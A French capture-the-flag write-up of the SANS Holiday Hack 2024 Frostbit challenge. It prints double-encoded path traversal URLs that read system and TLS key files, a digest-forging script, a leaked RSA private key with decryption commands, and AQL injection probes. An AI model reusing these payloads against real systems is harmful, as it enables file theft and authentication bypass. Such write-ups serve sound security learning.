SANS Holiday Hack 2024 : finale Frostbit
Déchiffrer la liste des enfants sages et désactiver Frostbit grâce aux faiblesses du hash et à une injection AQL aveugle.
Déchiffrer la liste des enfants sages et turbulents
Indices
Hachage Frostbit
L’infrastructure Frostbit pourrait utiliser un proxy inverse qui résout certains encodages d’URL avant de transmettre les requêtes au backend. Il peut rejeter les requêtes jugées invalides. Il faudra peut-être trouver une façon créative de les faire parvenir au serveur. Une requête combinant chemins relatifs, octets encodés et valeurs connues issues d’autres éléments forensiques pourrait exploiter la bibliothèque cryptographique et révéler un secret nécessaire au déchiffrement des fichiers Frostbit.
Mode développement de Frostbit
Un nouveau ransomware nommé Frostbit se propage au pôle Nord. Son infrastructure ressemble à du code sur lequel j’ai travaillé, modifié pour ce ransomware. Si c’est notre code et que le mode développement reste actif, des options supplémentaires pourraient révéler des informations. Si notre code ou notre matériel sont réutilisés, ils pourraient aussi diffuser des messages MQTT.
Cryptographie Frostbit
Frostbit semble utiliser plusieurs méthodes de chiffrement. Même après avoir retiré TLS, certaines valeurs paraissent chiffrées asymétriquement, peut-être avec une PKI. L’infrastructure pourrait aussi utiliser une cryptographie maison pour consulter l’état du ransomware. Si notre cryptographie a été réutilisée, elle dépend peut-être d’une ancienne bibliothèque présentant des vulnérabilités connues. Il pourrait être possible de lui faire révéler la bibliothèque utilisée.
Analyse forensique de Frostbit
Je fais partie de l’équipe de cybersécurité du pôle Nord. Nous avons créé un EDR puissant qui capture la mémoire des processus, le trafic réseau et des échantillons de malware. Pour la réponse aux incidents, on peut chercher des secrets avec strings, déchiffrer le trafic et lancer strace pour observer les actions et programmes exécutés par le malware.
Découvertes
Dans le fichier .13, j’ai trouvé :
CLIENT_HANDSHAKE_TRAFFIC_SECRET 79e64a5b0f8fa2998be26db47ce492529213f442ad0a99fa07dd279acb69d3bc e165f2a68b8f8043a6cfa8043b416ff1e5179e19b1f0c75bd38008581e58a724
SERVER_HANDSHAKE_TRAFFIC_SECRET 79e64a5b0f8fa2998be26db47ce492529213f442ad0a99fa07dd279acb69d3bc 9adb4f3912b54c5aba55862b729bcd83871d52b3f6926cdad40548ad15168cc1
CLIENT_TRAFFIC_SECRET_0 79e64a5b0f8fa2998be26db47ce492529213f442ad0a99fa07dd279acb69d3bc 2a0b886c69c33861d6ec25d77d13e0675ea4b971f95d9ab2f936ba49c7ada3ff
SERVER_TRAFFIC_SECRET_0 79e64a5b0f8fa2998be26db47ce492529213f442ad0a99fa07dd279acb69d3bc 0fbed6ea0e91724be67c36f49ede48c7f06261a44fdea6e5f7a4a8c9379e5d51
POST /api/v1/bot/0769cce0-369a-40c6-8350-870af7e77eb6/key HTTP/1.1
Host: api.frostbit.app
User-Agent: Go-http-client/1.1
Content-Length: 1070
Content-Type: application/json
Accept-Encoding: gzip
{"encryptedkey":"54bf283c23fe8884944e594681cce96a192d176974a8d18946af314d3d15eb2265d4a3025c185c65dfc70e71f45af30c3205550a21da334d97714bb24284441119678734ce25d26397e651ea2baac2657bf8ff9d448580a3fdb824d6df7258c109bd1795795230fe97aa7f3070c441a7b961584684d67e25157c66ceb083cec7c3d02b8dab124cac55524fc05915549b7d86f3249ffc17cda9b33a4efb6ab5bc108e597e650a1581e087a2da83b599b2c95b4f79468245001f306caae3d595767503718f5cace234b09e30cc35fda837c148745794d57db5bd6281fd9cedda78befdea0af152c90ae28845da7fbb513971c03bb84768d603573d14faa3d11f59f3eb2bcc2d4f394312351ff6b5aa08972a58d11c42a6a2a78e1706d1a61442269b8b7a957a1d0d8678a23d214bdfec218dec835b807dcf5f98fecb2680c48245bc6419a506578faae74649ae45f19b59cb5bc56de6600e878e0e13ff6947050c3f57ef1b7792648d34533a3dbcd9d6e8ebc3ec9884b61c7fd4480d78bc03f86783e70cac8d164cbdb8e4b7f9e984f5c05ba9dabb3daa3a08e33a72e536b503d9ff7905600789992e9b0c8b7c5213f7e7562e9f6f50ff6e2f78c9ed14cd428dcabc9828ca61f957b11121fb0f0e19064d254837bff436897cb4ff9621c73ff7adf5ddb30dd600ef464ef865ec2a85faf3b51ebe447497c1cf997893cb1c142466","nonce":""}
'G5{"{
{"digest":"80210560000230008104003000384544","status":"Key Set",POST /api/v1/bot/0769cce0-369a-40c6-8350-870af7e77eb6/key
https://api.frostbit.app/view/7FkQe4lGNrTDTvlVbWHQ/0769cce0-369a-40c6-8350-870af7e77eb6/status?digest=80210560000230008104003000384544
Je sais désormais que le serveur du ransomware se trouve sur api.frostbit.app.
Un scan nmap donne :
b0n3sh@b0n3sh-d3n:~$ nmap 34.173.241.47
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-19 01:54 CET
Nmap scan report for 47.241.173.34.bc.googleusercontent.com (34.173.241.47)
Host is up (0.17s latency).
Not shown: 995 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
53/tcp closed domain
80/tcp open http
443/tcp open https
3389/tcp closed ms-wbt-server
Je me suis souvenu de frostbitfeed, dans le défi précédent Santa Vision. On y trouve ces informations :
While good backups are important, they won't prevent frostbite
Error msg: Unauthorized access attempt. /api/v1/frostbitadmin/bot/<botuuid>/deactivate, authHeader: X-API-Key, status: Invalid Key, alert: Warning, recipient: Wombley
To prevent frostbite, you should wear appropriate clothing and cover exposed skin and ports
Frostbite can occur in as little as 30 minutes in extreme cold - faster in flat networks
Frostbit is a leading cause of network downtime
Additional messages available in santafeed
Let's Encrypt cert for api.frostbit.app verified. at path /etc/nginx/certs/api.frostbit.app.key
Do you conduct regular frostbite preparedness exercises?
Il semble possible de combiner les requêtes :
- Celle récupérée dans le dump mémoire.
api.frostbit.app/api/v1/bot/0769cce0-369a-40c6-8350-870af7e77eb6/key - Avec celle trouvée dans frostbitfeed.
Error msg: Unauthorized access attempt. /api/v1/frostbitadmin/bot/<botuuid>/deactivate, authHeader: X-API-Key, status: Invalid Key, alert: Warning, recipient: WombleyAutrement dit, utiliser cet UUID avec le chemin de désactivation.https://api.frostbit.app/api/v1/frostbitadmin/bot/0769cce0-369a-40c6-8350-870af7e77eb6/deactivate
Nous passons de :
{"error":"Invalid API Path"}
À :
{"error":"Invalid Request"}
Nous sommes sur la bonne voie. Il faut maintenant ajouter l’en-tête authHeader: X-API-Key et trouver cette X-API-KEY.
Bloqué ici, je suis retourné dans Wireshark.
J’ai déchiffré le trafic TLS avec les secrets du dump :
CLIENT_HANDSHAKE_TRAFFIC_SECRET 79e64a5b0f8fa2998be26db47ce492529213f442ad0a99fa07dd279acb69d3bc e165f2a68b8f8043a6cfa8043b416ff1e5179e19b1f0c75bd38008581e58a724
SERVER_HANDSHAKE_TRAFFIC_SECRET 79e64a5b0f8fa2998be26db47ce492529213f442ad0a99fa07dd279acb69d3bc 9adb4f3912b54c5aba55862b729bcd83871d52b3f6926cdad40548ad15168cc1
CLIENT_TRAFFIC_SECRET_0 79e64a5b0f8fa2998be26db47ce492529213f442ad0a99fa07dd279acb69d3bc 2a0b886c69c33861d6ec25d77d13e0675ea4b971f95d9ab2f936ba49c7ada3ff
SERVER_TRAFFIC_SECRET_0 79e64a5b0f8fa2998be26db47ce492529213f442ad0a99fa07dd279acb69d3bc 0fbed6ea0e91724be67c36f49ede48c7f06261a44fdea6e5f7a4a8c9379e5d51
J’ai repéré une requête GET vers /api/v1/bot/0769cce0-369a-40c6-8350-870af7e77eb6/session, je l’ai reproduite et j’ai obtenu :
{"nonce":"c8724d3b36481112"}
J’ai cherché tous les appels à api.frostbit.app dans le dump et trouvé une requête incomplète vers :
https://api.frostbit.app/view/7FkQe4lGNrTDTvlVbWHQ/0769cce0-369a-40c6-8350-870af7e77eb6/status?digest=8021blabla. Son digest était incomplet ; je l’ai remplacé par celui du JSON.
J’ai alors accédé au panneau :

Le code source contient un script avec des références au déchiffrement et à la désactivation côté frontend, mais il semble s’agir de constantes fournies par le serveur.
Je n’arrive pas non plus à activer le débogage.
En fait, si : j’ai ajouté ?debug=true au chemin /view/<key_id>/status.
Et obtenu des données :

{"uuid": "0769cce0-369a-40c6-8350-870af7e77eb6", "nonce": "REDACTED", "encryptedkey": "REDACTED", "deactivated": false, "etime": 1734998400}
Et maintenant ? Avec debug=true, nous pouvons peut-être provoquer des erreurs révélant des informations.
J’ai modifié status_id_file, le premier segment du chemin, sans succès :
{"debug":true,"error":"Status Id File Not Found"}
Puis le second, l’UUID, toujours sans succès :
{"debug":true,"error":"Invalid UUID Format"}
J’ai ensuite modifié le digest, ce qui était le plus logique :
En remplaçant un symbole :
{"debug":true,"error":"Invalid Status Id or Digest"}
Mais en supprimant un symbole :
{"debug":true,"error":"Status Id File Digest Validation Error: Traceback (most recent call last):\n File \"/app/frostbit/ransomware/static/FrostBiteHashlib.py\", line 55, in validate\n decoded_bytes = binascii.unhexlify(hex_string)\nbinascii.Error: Odd-length string\n"}
L’erreur mentionne FrostBiteHashlib. J’ai donc tenté d’accéder à ce fichier :
https://api.frostbit.app/static/FrostBiteHashlib.py
import traceback
import binascii
class Frostbyte128:
def __init__(self, file_bytes: bytes, filename_bytes: bytes, nonce_bytes: bytes, hash_length: int = 16):
self.file_bytes = file_bytes
self.filename_bytes = filename_bytes
self.filename_bytes_length = len(self.filename_bytes)
self.nonce_bytes = nonce_bytes
self.nonce_bytes_length = len(self.nonce_bytes)
self.hash_length = hash_length
self.hash_result = self._compute_hash()
def _compute_hash(self) -> bytes:
hash_result = bytearray(self.hash_length)
count = 0
for i in range(len(self.file_bytes)):
xrd = self.file_bytes[i] ^ self.nonce_bytes[i % self.nonce_bytes_length]
hash_result[count % self.hash_length] = hash_result[count % self.hash_length] ^ xrd
count += 1
for i in range(len(self.filename_bytes)):
count_mod = count % self.hash_length
count_filename_mod = count % self.filename_bytes_length
count_nonce_mod = count % self.nonce_bytes_length
xrd = self.filename_bytes[count_filename_mod] ^ self.nonce_bytes[count_nonce_mod]
hash_result[count_mod] = hash_result[count_mod] & xrd
count += 1
return bytes(hash_result)
def digest(self) -> bytes:
"""Returns the raw binary hash result."""
return self.hash_result
def hexdigest(self) -> str:
"""Returns the hash result as a hexadecimal string."""
return binascii.hexlify(self.hash_result).decode()
def update(self, file_bytes: bytes = None, filename_bytes: bytes = None, nonce_bytes: bytes = None):
"""Updates the internal state with new bytes and recomputes the hash."""
if file_bytes is not None:
self.file_bytes = file_bytes
if filename_bytes is not None:
self.filename_bytes = filename_bytes
if nonce_bytes is not None:
self.nonce_bytes = nonce_bytes
self.hash_result = self._compute_hash()
def validate(self, hex_string: str):
"""Validates if the provided hex string matches the computed hash."""
try:
decoded_bytes = binascii.unhexlify(hex_string)
if decoded_bytes == self.digest():
return True, None
except Exception as e:
stack_trace = traceback.format_exc()
return False, f"{stack_trace}"
return False, None
Je mets le déchiffrement en pause pour essayer la désactivation.
Avec l’URL et debug=true, j’obtiens {"debug":true,"error":"Invalid Key"}.
J’avais entendu parler d’une traversée de répertoires dans l’identifiant. J’ai essayé les chemins relatifs et l’encodage mentionnés dans l’indice, sans succès.
Jusqu’à cet essai :
/view/%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd/0769cce0-369a-40c6-8350-870af7e77eb6/status?digest=80210560000230008104003000384544&debug=true
Attaque par double encodage.
J’ai obtenu :
{"debug":true,"error":"Invalid Status Id or Digest"}
Cela fonctionne aussi avec davantage de niveaux d’encodage.
Est-ce que ../../../etc/passwd revient à ajouter encore des segments ../ avant etc/passwd ?
Oui, évidemment.
from binascii import hexlify
file_bytes = b'Welcome to our online Morse Code Audio Decoder, a powerful tool designed to help you decode Morse code messages from audio recordings. With our user-friendly decoder, you can easily convert Morse code audio into readable text and unlock the hidden messages within.'
#file_bytes = b'Although manual decoding of Morse code audio can achieve information conversion to a certain extent, its shortcomings are also obvious. Firstly, Morse code decoding requires specialized knowledge, and not everyone can easily master it. Secondly, the manual decoding process is cumbersome and er'
#file_bytes = bytes.fromhex('ffffffffffffffffffffffffffff')
filename_bytes = b'\xcf\xcf\xcf\xcf\xcf\xcf\xcf\xcf\xcf\xcf\xcf\xcf\xcf\xcf\xcf\xcf0000000000000000000000/../../../../../etc/passwd'
filename_bytes_length = len(filename_bytes)
nonce_bytes = bytes.fromhex('c8724d3b36481112')
nonce_bytes_length = len(nonce_bytes)
hash_length = 16
hash_result = bytearray(hash_length)
count = 0
for i in range(len(file_bytes)):
xrd = file_bytes[i] ^ nonce_bytes[i % nonce_bytes_length]
hash_result[count % hash_length] = hash_result[count % hash_length] ^ xrd
count += 1
print(hexlify(hash_result))
print("=====")
for count in range(32):
for i in range(len(hash_result)):
hash_result[i] = 0xff
#print(hexlify(hash_result))
for i in range(len(filename_bytes)):
count_mod = count % hash_length
count_filename_mod = count % filename_bytes_length
count_nonce_mod = count % nonce_bytes_length
xrd = filename_bytes[count_filename_mod] ^ nonce_bytes[count_nonce_mod]
hash_result[count_mod] = hash_result[count_mod] & xrd
count += 1
print(hexlify(hash_result))
Mon intuition était bonne. Nous ne contrôlons pas la première boucle, celle qui traite file_bytes. Trois données interviennent :
file_bytes: contenu du fichier, hors de notre contrôle.filename: nom du fichier, entièrement contrôlable.nonce: connu, mais non modifiable. Nous envoyons aussi le digest comme paramètre de requête ; nous pouvons donc l’adapter.
La première boucle ne nous intéresse pas. Dans la seconde, le code parcourt le nom du fichier, calcule le XOR du nonce et du nom, puis applique un AND au résultat déjà présent à cette position.
L’astuce est là : si xrd vaut zéro, nous pouvons annuler tout le tableau, car x AND 0 vaut toujours zéro. Sans connaître les bits, nous utilisons deux passages avec des motifs opposés dans le nom. Le XOR avec le nonce, suivi du AND entre les résultats, finit par annuler les bits.
Mes notes partaient d’une longueur de 16 pour le hash et le nonce ; le code précédent montre les longueurs utilisées. Nous choisissons deux caractères opposés, h et %2597. Avec le double encodage, %97 représente 0x97.
h = 0b
Sachant comment annuler le digest, j’ai consulté : https://api.frostbit.app/view/%2597%2597%2597%2597%2597%2597%2597%2597%2597%2597%2597%2597%2597%2597%2597%2597hhhhhhhhhhhhhhhhhhhhh%252f..%252f..%252f..%252f..%252f..%252fetc%252fnginx%252fcerts%252fapi.frostbit.app.key/a4bb60d0-84da-4f2e-ab94-391781565331/status?digest=00000000000000000000000000000000&debug=true
J’y ai trouvé la clé privée RSA du certificat TLS :

-----BEGIN RSA PRIVATE KEY-----
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
-----END RSA PRIVATE KEY-----
Normalement, encryptedkey, envoyé en JSON sur TLS, serait chiffré asymétriquement, tandis que le CSV utiliserait un chiffrement symétrique avec cette clé.
Déchiffrons encryptedkey :
{"encryptedkey":"54bf283c23fe8884944e594681cce96a192d176974a8d18946af314d3d15eb2265d4a3025c185c65dfc70e71f45af30c3205550a21da334d97714bb24284441119678734ce25d26397e651ea2baac2657bf8ff9d448580a3fdb824d6df7258c109bd1795795230fe97aa7f3070c441a7b961584684d67e25157c66ceb083cec7c3d02b8dab124cac55524fc05915549b7d86f3249ffc17cda9b33a4efb6ab5bc108e597e650a1581e087a2da83b599b2c95b4f79468245001f306caae3d595767503718f5cace234b09e30cc35fda837c148745794d57db5bd6281fd9cedda78befdea0af152c90ae28845da7fbb513971c03bb84768d603573d14faa3d11f59f3eb2bcc2d4f394312351ff6b5aa08972a58d11c42a6a2a78e1706d1a61442269b8b7a957a1d0d8678a23d214bdfec218dec835b807dcf5f98fecb2680c48245bc6419a506578faae74649ae45f19b59cb5bc56de6600e878e0e13ff6947050c3f57ef1b7792648d34533a3dbcd9d6e8ebc3ec9884b61c7fd4480d78bc03f86783e70cac8d164cbdb8e4b7f9e984f5c05ba9dabb3daa3a08e33a72e536b503d9ff7905600789992e9b0c8b7c5213f7e7562e9f6f50ff6e2f78c9ed14cd428dcabc9828ca61f957b11121fb0f0e19064d254837bff436897cb4ff9621c73ff7adf5ddb30dd600ef464ef865ec2a85faf3b51ebe447497c1cf997893cb1c142466","nonce":""}
- Extraire
encryptedkey.
54bf283c23fe8884944e594681cce96a192d176974a8d18946af314d3d15eb2265d4a3025c185c65dfc70e71f45af30c3205550a21da334d97714bb24284441119678734ce25d26397e651ea2baac2657bf8ff9d448580a3fdb824d6df7258c109bd1795795230fe97aa7f3070c441a7b961584684d67e25157c66ceb083cec7c3d02b8dab124cac55524fc05915549b7d86f3249ffc17cda9b33a4efb6ab5bc108e597e650a1581e087a2da83b599b2c95b4f79468245001f306caae3d595767503718f5cace234b09e30cc35fda837c148745794d57db5bd6281fd9cedda78befdea0af152c90ae28845da7fbb513971c03bb84768d603573d14faa3d11f59f3eb2bcc2d4f394312351ff6b5aa08972a58d11c42a6a2a78e1706d1a61442269b8b7a957a1d0d8678a23d214bdfec218dec835b807dcf5f98fecb2680c48245bc6419a506578faae74649ae45f19b59cb5bc56de6600e878e0e13ff6947050c3f57ef1b7792648d34533a3dbcd9d6e8ebc3ec9884b61c7fd4480d78bc03f86783e70cac8d164cbdb8e4b7f9e984f5c05ba9dabb3daa3a08e33a72e536b503d9ff7905600789992e9b0c8b7c5213f7e7562e9f6f50ff6e2f78c9ed14cd428dcabc9828ca61f957b11121fb0f0e19064d254837bff436897cb4ff9621c73ff7adf5ddb30dd600ef464ef865ec2a85faf3b51ebe447497c1cf997893cb1c142466"
- Le convertir en octets.
$ xxd -p -r "<encryptedkey>" > encryptedkey_bytes.bin - Le déchiffrer.
$ openssl pkeyutl -in encryptedkey_bytes.bin -inkey pwnkey.pem -decryptCela donne :883d240bf58b8c6a149859ce6553ce4e,c8724d3b36481112
Deux valeurs séparées par une virgule. La seconde correspond à notre nonce, ce qui indique que le déchiffrement est correct.
La première devrait être la clé utilisée pour chiffrer le fichier.
Cela a fonctionné avec CyberChef :

Voici les paramètres :
AES Decrypt
Key(UTF8)=883d240bf58b8c6a149859ce6553ce4e
IV(HEX)=c8724d3b36481112000000000000000
Mode=CBC/NoPadding
Input=Raw
Output=Raw
J’ai obtenu le CSV, trouvé la ligne 440 et envoyé le drapeau. Terminé.
Avec openssl, ce serait :
openssl enc -aes-256-cbc -d -in naughty_nice_list.csv.frostbit -K "$(echo -n '883d240bf58b8c6a149859ce6553ce4e' | xxd -p -c0)" -iv "00000000000000000000000000000000"
Attention aux colonnes supplémentaires de xxd : il faut passer -c 0.
À faire
- Comprendre comment annuler le digest.
- Comprendre le problème de l’IV dans CyberChef pour déchiffrer le fichier.
- Comprendre pourquoi le déchiffrement avec la CLI OpenSSL ne fonctionnait pas.
- Ajouter le double encodage à Anki.
URL
- https://api.frostbit.app/view/7FkQe4lGNrTDTvlVbWHQ/0769cce0-369a-40c6-8350-870af7e77eb6/status?digest=80210560000230008104003000384544&debug=true
- https://api.frostbit.app/api/v1/bot/0769cce0-369a-40c6-8350-870af7e77eb6/session
- https://api.frostbit.app/api/v1/bot/0769cce0-369a-40c6-8350-870af7e77eb6/key (POST)
- https://api.frostbit.app/view/%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd/0769cce0-369a-40c6-8350-870af7e77eb6/status?digest=80210560000230008104003000384544&debug=true
- https://api.frostbit.app/view/%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fnginx%252fcerts%252fapi.frostbit.app.key/0769cce0-369a-40c6-8350-870af7e77eb6/status?digest=80210560000230008104003000384544&debug=true
Désactiver la publication de la liste par Frostbit
Indices
Publication Frostbit
Il doit exister un moyen de désactiver la publication des données par le serveur du ransomware. Une autre ressource du pôle Nord a peut-être révélé le chemin de désactivation. Nous pourrions alors amener l’infrastructure Frostbit à dévoiler davantage de détails.
Sommeil de Frostbit
L’auteur de Frostbit a peut-être bloqué certains caractères, verbes et contournements simples de l’authentification, nous laissant à l’aveugle. Il faudra peut-être provoquer des réponses différentes selon nos entrées et les mesurer. Si nous connaissons la technologie de stockage, nous pouvons la reproduire localement avec Docker afin de développer et tester des techniques et charges utiles en comprenant mieux son fonctionnement.
Résolution
Santa Vision nous a donné cet endpoint /deactivate :
Error msg: Unauthorized access attempt. /api/v1/frostbitadmin/bot/<botuuid>/deactivate, authHeader: X-API-Key, status: Invalid Key, alert: Warning, recipient: Wombley
J’ai envoyé une requête, mais la clé était invalide. En testant l’en-tête x-api-key avec la valeur ''''ýgUUaý' ýýý, j’ai obtenu :
{"debug":true,"error":"Timeout or error in query:\nFOR doc IN config\n FILTER doc.<key_name_omitted> == '{user_supplied_x_api_key}'\n <other_query_lines_omitted>\n RETURN doc"}
Le moteur de base de données semble être ArangoDB, avec AQL.
Certains caractères, comme /, sont bloqués. Le double encodage pourrait fonctionner, car le WAF est probablement le même que dans le défi de déchiffrement.
'' provoque une expiration du délai.
Mais pas le cas suivant :
Cela semble intéressant, car :
' OR 1==1 -- -' semble commenter correctement la suite grâce à --.
Ce n’était apparemment pas la bonne piste ; je n’avance pas.
Je vais vérifier quelles fonctions sont bloquées et lesquelles sont autorisées :
Fonctions bloquées et autorisées :
====== Blocked =======
STARTS_WITH => Match the value of the attribute that starts with `prefix`
FLATTEN => expands arrays
REMOVE_VALUES => remove values
MERGE => merge documents
MERGE_RECURSIVE => merge documents
TRANSLATE => replace
UNSET => remove attributes
UNSET_RECURSIVE => remove attributes
VALUES => return values of a document
ZIP => assembly of parameters
FIRST_DOCUMENT => get first document that matches a criteria
CHECK_DOCUMENT => is it a valid document
DOCUMENT => lookup document
APPLY => call a function (like exec)
STARTS_WITH => search prefix
IS_DOCUMENT => is document
======== Non blocked =======
HAS
LENGTH
COLLECTIONS
ANALYZER
BOOST
EXISTS
IN_RANGE
MIN_MATCH
MINHASH_MATCH
NGRAM_MATCH
PHRASE
LEVENSHTEIN_MATCH
LIKE
GEO_CONTAINS
GEO_DISTANCE
GEO_IN_RANGE
GEO_INTERSECTS
BM25
TFIDF
OFFSET_INFO
APPEND
CONTAINS_ARRAY
COUNT
COUNT_DISTINCT
COUNT_UNIQUE
FIRST
INTERLEAVE
INTERSECTION
JACCARD
LAST
LENGTH
MINUS
NTH
OUTERSECTION
POP
POSITION
PUSH
REMOVE_NTH
REPLACE_NTH
REMOVE_VALUE
REVERSE
SHIFT
SLICE
SORTED
SORTED_UNIQUE
UNION
UNION_DISTINCT
UNIQUE
UNSHIFT
BIT_AND
BIT_CONSTRUCT
BIT_DECONSTRUCT
BIT_FROM_STRING
BIT_NEGATE
BIT_OR
BIT_POPCOUNT
BIT_SHIFT_LEFT
BIT_SHIFT_RIGHT
BIT_TEST
BIT_TO_STRING
BIT_XOR
ATTRIBUTES
COUNT
HAS
IS_SAME_COLLECTION
KEEP
KEEP_RECURSIVE
KEYS
LENGTH
MATCHES
PARSE_IDENTIFIER
VALUE
FULLTEXT
FIRST_LIST
MIN_MATCH
NOT_NULL
operator
COLLECTION_COUNT
COLLECTIONS
COUNT
CURRENT_DATABASE
CURRENT_USER
DECODE_REV
LENGTH
SHARD_ID
HASH
MINHASH
MINHASH_COUNT
MINHASH_ERROR
hashing
CALL
WARN
IN_RANGE
PREGEL_RESULT
FAIL
NOEVAL
PASSTHRU
SCHEMA_GET
SCHEMA_VALIDATE
SLEEP
V8
VERSION
CHAR_LENGTH
CONCAT
CONCAT_SEPARATOR
CONTAINS
COUNT
CRC32
ENCODE_URI_COMPONENT
FIND_FIRST
FIND_LAST
FNV64
IPV4_FROM_NUMBER
IPV4_TO_NUMBER
IS_IPV4
JSON_PARSE
JSON_STRINGIFY
LEFT
LENGTH
LEVENSHTEIN_DISTANCE
LIKE
LOWER
LTRIM
MD5
NGRAM_POSITIONAL_SIMILARITY
NGRAM_SIMILARITY
RANDOM_TOKEN
REGEX_MATCHES
REGEX_SPLIT
REGEX_TEST
REGEX_REPLACE
REVERSE
RIGHT
RTRIM
SHA1
SHA512
SOUNDEX
SPLIT
SUBSTITUTE
SUBSTRING
SUBSTRING_BYTES
TOKENS
TO_BASE64
TO_HEX
TRIM
UPPER
UUID
TO_BOOL
